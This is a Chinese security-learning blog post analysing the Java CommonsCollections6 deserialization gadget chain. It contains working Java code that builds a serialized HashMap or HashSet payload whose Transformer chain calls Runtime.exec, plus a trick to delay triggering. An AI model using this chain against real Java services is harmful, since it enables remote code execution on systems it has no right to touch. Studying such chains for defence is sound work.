JAVA反序列化深入学习(八):CommonsCollections6
与CC5相似:
- 在 CC5 中使用了
TiedMapEntry#toString来触发LazyMap#get- 在 CC6 中是通过
TiedMapEntry#hashCode来触发LazyMap#get之前看到了 hashcode 方法也会调用
getValue()方法然后调用到其中 map 的 get 方法触发 LazyMap,那重点就在于如何在反序列化时触发TiedMapEntry的hashCode方法了

JAVA环境
java version "1.8.0_74"
Java(TM) SE Runtime Environment (build 1.8.0_74-b02)
Java HotSpot(TM) 64-Bit Server VM (build 25.74-b02, mixed mode)
依赖版本
- Apache Commons Collections 依赖版本:commons-collections : 3.1 - 3.2.1
检查依赖配置
确认项目中是否正确引入了 Apache Commons Collections 的依赖。如果使用的是 Maven,可以在 pom.xml 文件中添加以下依赖:
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.2.1</version>
</dependency>
资源下载
- maven
- Java8下载
- commons-collections源码
前置知识
HashMap - kick-off
之前在 URLDNS 中,我们发现,在反序列化一个 HashMap 对象时,会调用 key 对象的 hashCode 方法计算 hash 值,那在此处当然也可以用来触发 TiedMapEntry 的 hashCode 方法
不太记得了可以回顾:JAVA反序列化深入学习(二):URLDNS-CSDN博客
但会遇到 URLDNS 中同样面临的问题:
调用链会在 HashMap 的 put 方法调用时提前触发,需要想办法绕过触发,可以采用以下几种方式:
- 类似URLDNS方法二,利用反射调用
putVal方法写入 key 避免触发 - 在向 HashMap push LazyMap 时先给个空的 ChainedTransformer
- 这样添加的时候不会执行任何恶意动作
- put 之后再反射将有恶意链的 Transformer 数组写到 ChainedTransformer 中
这样就完成了一个 HashMap 的触发方式
HashMap 的 put 方法可以触发 key 的 hashCode ,那还有没有入口类能触发这个方法了?
于是找到了 CC6 的 HashSet 触发方式
HashSet - kick-off
- HashSet 是一个无序的,不允许有重复元素的集合
- HashSet 本质上就是由 HashMap 实现的
// 构造一个新的空集合
// 具有默认初始容量(16)和负载因子(0.75)
public HashSet() {map = new HashMap<>();
}
// 构造一个包含指定集合中的元素的新集合
public HashSet(Collection<? extends E> c) {map = new HashMap<>(Math.max((int) (c.size()/.75f) + 1, 16));addAll(c);
}
- HashSet 中的元素都存放在 HashMap 的 key 上面
- 而 value 中的值都是统一的
// Dummy value to associate with an Object in the backing Map
private static final Object PRESENT = new Object();
- HashSet 跟 HashMap 一样,都是一个存放链表的数组
readObject
在 HashSet 的 readObject 方法中,会调用其内部 HashMap 的 put 方法,将值放在 key 上
private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {// Read in any hidden serialization magics.defaultReadObject();...// Create backing HashMapmap = (((HashSet<?>)this) instanceof LinkedHashSet ?new LinkedHashMap<E,Object>(capacity, loadFactor) :new HashMap<E,Object>(capacity, loadFactor));// Read in all elements in the proper order.for (int i=0; i<size; i++) {@SuppressWarnings("unchecked")E e = (E) s.readObject();map.put(e, PRESENT);}
}
攻击构造
基于HashMap
首先是结合 LazyMap 和 HashMap 的方式,这里使用了之前在URLDNS方法二中的反射代码,以及同时写了包含 Fake Chain 绕过触发的方式
恶意代码主体
public void CC6WithHashMap() throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, InvocationTargetException {// 初始化 HashMapHashMap<Object, Object> hashMap = new HashMap<>();Transformer[] transformers = GenTransformerArray();// 创建一个空的 ChainedTransformerChainedTransformer fakeChain = new ChainedTransformer(new Transformer[]{});// 创建 LazyMap 并引入 TiedMapEntryMap lazyMap = LazyMap.decorate(new HashMap(), fakeChain);TiedMapEntry entry = new TiedMapEntry(lazyMap, "neolock");hashMap.put(entry, "neolock");//用反射再改回真的chainField f = ChainedTransformer.class.getDeclaredField("iTransformers");f.setAccessible(true);f.set(fakeChain, transformers);//清空由于 hashMap.put 对 LazyMap 造成的影响lazyMap.clear();// 反射调用 HashMap 的 putVal 方法// Method[] m = Class.forName("java.util.HashMap").getDeclaredMethods();// for (Method method : m) {// if ("putVal".equals(method.getName())) {// method.setAccessible(true);// method.invoke(hashMap, -1, entry, 0, false, true);// }// }writeObjectToFile(hashMap, fileName);readFileObject(fileName);}
Transformer数组生成
protected Transformer[] GenTransformerArray() throws IOException, NoSuchFieldException, IllegalAccessException {// 创建 ChainedTransformerTransformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};return transformers;
}

比较简单,就是一个缝合
基于HashSet
接下来看一下HashSet 的触发方式
恶意代码主体
public void CC6WithHashSet() throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, InvocationTargetException {// 初始化 HashMapHashMap<Object, Object> hashMap = new HashMap<>();Transformer[] transformers = GenTransformerArray();// 创建一个空的 ChainedTransformerChainedTransformer fakeChain = new ChainedTransformer(new Transformer[]{});// 创建 LazyMap 并引入 TiedMapEntryMap lazyMap = LazyMap.decorate(new HashMap(), fakeChain);TiedMapEntry entry = new TiedMapEntry(lazyMap, "neolock");hashMap.put(entry, "neolock");// 唯一相对于上一个方法多出来的步骤,套了一层HashSetHashSet set = new HashSet(hashMap.keySet());//用反射再改回真的chainField f = ChainedTransformer.class.getDeclaredField("iTransformers");f.setAccessible(true);f.set(fakeChain, transformers);//清空由于 hashMap.put 对 LazyMap 造成的影响lazyMap.clear();writeObjectToFile(set, fileName);readFileObject(fileName);
}
Transformer数组生成与之前相同,可以看到我们只是简单的在 HashMap 之外嵌套了一层 HashSet

ysoserial
在 ysoserial 中的 CC6 payload 中,作者 matthias_kaiser 使用的方式是:
- 多次使用反射向 HashMap 及 HashSet 中写入值
- 兼容了 JDK 7 和 8 中成员变量名发生变化的情况
- 并且是通过向底层 map 中的 节点添加的方式

这种方式或许有点过于冗杂了,不如使用空 Transformer 链反射的方式,大大方方的向 HashMap 或 HashSet 中 push 数据
总结
以上就是 CC6 链分析的全部内容了,最后总结一下
利用说明
- 反序列化 调用 TiedMapEntry 的 toString 方法
- 调用了 LazyMap 的 hashCode 方法
- 触发了后续的 Transformer 恶意执行链
Gadget 总结
- kick-off gadget:
java.util.HashSet#readObject/java.util.HashMap#readObject - sink gadget:
org.apache.commons.collections.functors.InvokerTransformer#transform - chain gadget:
org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode
调用链展示
HashSet.readObject()/HashMap.readObject()HashMap.put()HashMap.hash()TiedMapEntry.hashCode()LazyMap.get()ChainedTransformer.transform()InvokerTransformer.transform()
- Java 反序列化漏洞(二) - Commons Collections | 素十八
- Java反序列化漏洞(八)- CommonsCollections6链
相关文章:
JAVA反序列化深入学习(八):CommonsCollections6
与CC5相似: 在 CC5 中使用了 TiedMapEntry#toString 来触发 LazyMap#get在 CC6 中是通过 TiedMapEntry#hashCode 来触发 LazyMap#get 之前看到了 hashcode 方法也会调用 getValue() 方法然后调用到其中 map 的 get 方法触发 LazyMap,那重点就在于如何在反…...
鸿蒙项目源码-外卖点餐-原创!原创!原创!
鸿蒙外卖点餐外卖平台项目源码含文档包运行成功ArkTS语言。 我半个月写的原创作品,请尊重原创。 原创作品,盗版必究!!! 原创作品,盗版必究!!! 原创作品,盗版…...
计算机二级WPS Office第十一套WPS演示
解题过程...
React程序打包与部署
===================== 推荐超级课程: 本地离线DeepSeek AI方案部署实战教程【完全版】Docker快速入门到精通Kubernetes入门到大师通关课AWS云服务快速入门实战目录 为生产环境准备React应用最小化和打包环境变量错误处理部署到托管服务部署到Netlify探索高级主题:Hooks、Su…...
ubuntu 创建新用户
给实验室服务器建用户,会担心除了基本的用户创建以外有没有别的没考虑到的。问了一下似乎没有,就按最基础的来就可以 # linux 自带的基础命令 # 创建用户,指定 home,设置 owner,设置密码 sudo useradd -d /home/abc a…...
代码随想录刷题day53|(二叉树篇)106.从中序与后序遍历序列构造二叉树(▲
目录 一、二叉树理论知识 二、构造二叉树思路 2.1 构造二叉树流程(给定中序后序 2.2 整体步骤 2.3 递归思路 2.4 给定前序和后序 三、相关算法题目 四、易错点 一、二叉树理论知识 详见:代码随想录刷题day34|(二叉树篇)二…...
Leetcode算法方法总结
1. 双指针法解决链表/数组题目 只要数组有序,就要想到双指针做法。还有二分法 回文串一般也会用到双指针,回文串的长度由于可能是奇数也可能是偶数,所以在寻找时,既需要寻找奇数长度的回文串,也需要寻找偶数长度的回文…...
全包圆玛奇朵样板间亮相,极简咖啡风引领家装新潮流
在追求品质生活的当下,家居装修风格的选择成为了许多消费者关注的焦点。近日,全包圆家居装饰有限公司精心打造的玛奇朵样板间正式对外开放,以其独特的咖啡色系极简风格,为家装市场带来了一股清新的潮流。玛奇朵样板间不仅展示了全…...
小红书多账号运营:如何实现每个账号独立 IP发布文章
一、多账号管理与 IP 隔离方案 1.电脑端实现:推荐使用指纹浏览器工具,为每个账号生成独立设备指纹(模拟不同 MAC 地址、内存等信息),并搭配兔子ip代理等服务商的 SOCKS5 代理,实现一机多开且每个账号独立 …...
大数据学习(92)-spark详解
🍋🍋大数据学习🍋🍋 🔥系列专栏: 👑哲学语录: 用力所能及,改变世界。 💖如果觉得博主的文章还不错的话,请点赞👍收藏⭐️留言📝支持一…...
免费下载 | 2025年网络安全报告
报告总结了2024年的网络安全态势,并对2025年的安全趋势进行了预测和分析。报告涵盖了勒索软件、信息窃取软件、云安全、物联网设备安全等多个领域的安全事件和趋势,并提供了安全建议和最佳实践。 一、报告背景与目的 主题:2024企业信息安全峰…...
《Android低内存设备性能优化实战:深度解析Dalvik虚拟机参数调优》
1. 痛点分析:低内存设备的性能困局 现象描述:大应用运行时频繁GC导致卡顿 根本原因:Dalvik默认内存参数与硬件资源不匹配 解决方向:动态调整堆内存参数以平衡性能与资源消耗 2. 核心调优参数全景解析 关键参数矩阵࿱…...
RCE--解法
目录 一、利用php伪协议 1.代码分析 2.过程 3.结果 编辑 4.防御手段 二、RCE(php中点的构造) 1.代码分析 2.过程 一、利用php伪协议 <?php error_reporting(0); if(isset($_GET[c])){$c $_GET[c];if(!preg_match("/flag|system|php|cat|sort…...
JAVA反序列化深入学习(九):CommonsCollections7与CC链总结
CC7 依旧是寻找 LazyMap 的触发点 CC6使用了 HashSet而CC6使用了 Hashtable JAVA环境 java version "1.8.0_74" Java(TM) SE Runtime Environment (build 1.8.0_74-b02) Java HotSpot(TM) 64-Bit Server VM (build 25.74-b02, mixed mode) 依赖版本 Apache Commons …...
HTML元素小卖部:表单元素 vs 表格元素选购指南
刚学HTML的同学经常把表单和表格搞混,其实它们就像超市里的食品区和日用品区——虽然都在同一个超市,但用途完全不同。今天带你3分钟分清这两大元素家族! 一、表单元素家族(食品区:收集用户输入) 1. <i…...
如何使用 Bash 脚本自动化清理 Nacos 日志文件
如何使用 Bash 脚本自动化清理 Nacos 日志文件 在现代的分布式系统中,Nacos 作为服务发现、配置管理和动态服务管理的核心组件,其日志文件的管理显得尤为重要。随着系统的运行,日志文件会不断累积,占用大量磁盘空间。如果不及时清理,可能会导致磁盘空间不足,影响系统性能…...
群体智能优化算法-算术优化算法(Arithmetic Optimization Algorithm, AOA,含Matlab源代码)
摘要 算术优化算法(Arithmetic Optimization Algorithm, AOA)是一种新颖的群体智能优化算法,灵感来源于加、减、乘、除四种基本算术运算。在优化过程中,AOA 通过乘除操作实现全局探索,通过加减操作强化局部开发&#…...
Redis6数据结构之String类型
redis的String类型是存储字符串类型的key-value。 应用场景:验证码、计数器(包括点赞数、文章/视频浏览数)、订单重复提交、用户登录信息、商品详情。 常用命令: set/get设置和获取key-valuemset/mget批量设置或获取多个key的…...
uniapp中的流式输出
一、完整代码展示 目前大多数的ai对话都是流式输出,也就是对话是一个字或者多个字逐一进行显示的下面是一个完整的流式显示程序,包含的用户的消息发出和ai的消息回复 <template><view class"chat-container"><view class&quo…...
理解 C++ 中的顶层 const 与底层 const(二十四)
1. 示例解析 下面的代码展示了不同 const 限定符的组合及其含义: int i 0; int *const p1 &i; // p1 是一个常量指针:p1 本身不可改变(顶层 const),但 *p1 所指的 int 可修改 const int ci 42; …...
Linux之数据链路层
Linux之数据链路层 一.以太网1.1以太网帧格式1.2MAC地址1.3MTU 二.ARP协议2.1ARP协议工作流程2.2ARP协议格式 三.NAT技术四.代理服务4.1正向代理4.2反向代理 五.四大层的学习总结 一.以太网 在我们学习完了网络层后我们接下来就要进入数据链路层的学习了,在学习完网…...
如何在 vue 渲染百万行数据,vxe-table 渲染百万行数据性能对比,超大量百万级表格渲染
vxe-table 渲染百万行数据性能对比,超大量百万级表格渲染;如何在 vue 渲染百万行数据;当在开发项目时,遇到需要流畅支持百万级数据的表格时, vxe-table 就可以非常合适了,不仅支持强大的功能,虚…...
std::reference_wrapper 和 std::function的详细介绍
关于 std::reference_wrapper 和 std::function 的详细介绍及具体测试用例: 1. std::reference_wrapper(引用包装器) 核心功能 包装引用:将引用转换为可拷贝、可赋值的对象支持隐式转换:可自动转换为原始引用类型容器…...
如何封装一个上传文件组件
#今天用el-upload感到很多不方便,遂决定自己封装一个。注:本文不提供表面的按钮样式和文件上传成功后的样式,需要自己创建。本文仅介绍逻辑函数# 1,准备几个表面用来指引上传的元素 2,创造统一的隐藏文件上传输入框&…...
MySQL-5.7.37安装配置(Windows)
1.下载MySQL-5.7.37软件包并解压 2.配置本地环境变量 打开任务栏 搜索高级系统设置 新建MySQL的环境变量 然后在path中添加%MYSQL_HOME%\bin 3.在MySQL-5.7.37解压的文件夹下新建my.ini文件并输入以下内容 [mysqld]#端口号port 3306#mysql-5.7.27-winx64的路径basedirC:\mysq…...
CentOS与Ubuntu命令对比指南:从软件包管理到系统配置
CentOS与Ubuntu命令对比指南 作为两大主流Linux发行版,**CentOS(基于RHEL)和Ubuntu(基于Debian)**在日常运维中常因命令差异引发混淆。本文通过关键场景对比,助您快速掌握两者的核心操作区别。 一、软件包管理:yum/dnf vs apt 操作CentOSUbuntu更新软件源yum check-upd…...
鸿蒙北向应用开发:deveco 5.0 kit化文件相关2
鸿蒙北向应用开发:deveco 5.0 kit化文件相关 在kit化时,有时候会出现这样一种场景即你想把已有的d.ts导出换个名字,这样从名字上更贴合你的kit聚合 什么意思呢?比如现在有 ohos.hilog.d.ts 导出了hilog,现在你想kit化hilog,使得hilog导出名字为usrhilog,这样用户在使用你的k…...
《HelloGitHub》第 108 期
兴趣是最好的老师,HelloGitHub 让你对开源感兴趣! 简介 HelloGitHub 分享 GitHub 上有趣、入门级的开源项目。 github.com/521xueweihan/HelloGitHub 这里有实战项目、入门教程、黑科技、开源书籍、大厂开源项目等,涵盖多种编程语言 Python、…...
C++可变参数
可变参数C风格的可变参数C风格可变参数的使用 C11可变参数模板递归展开参数包参数列表展开折叠表达式 STL中的emplace插入接口 可变参数 C风格的可变参数 可变参数是一种语言特性,可以在函数声明中使用省略号...来表示函数接受可变数量的参数。 例如典型的printf…...
光传输设备现状
随着运营商准备好其基础设施以应对新一代高带宽应用程序和 AI 部署,光传输网络 (OTN) 市场再次有望实现稳健增长。 隧道的尽头有光亮,OTN 市场在 2024 年最后一个季度表现强劲,设备供过于求的时代已经结束。 供应商表示设备订单量有所增加&…...
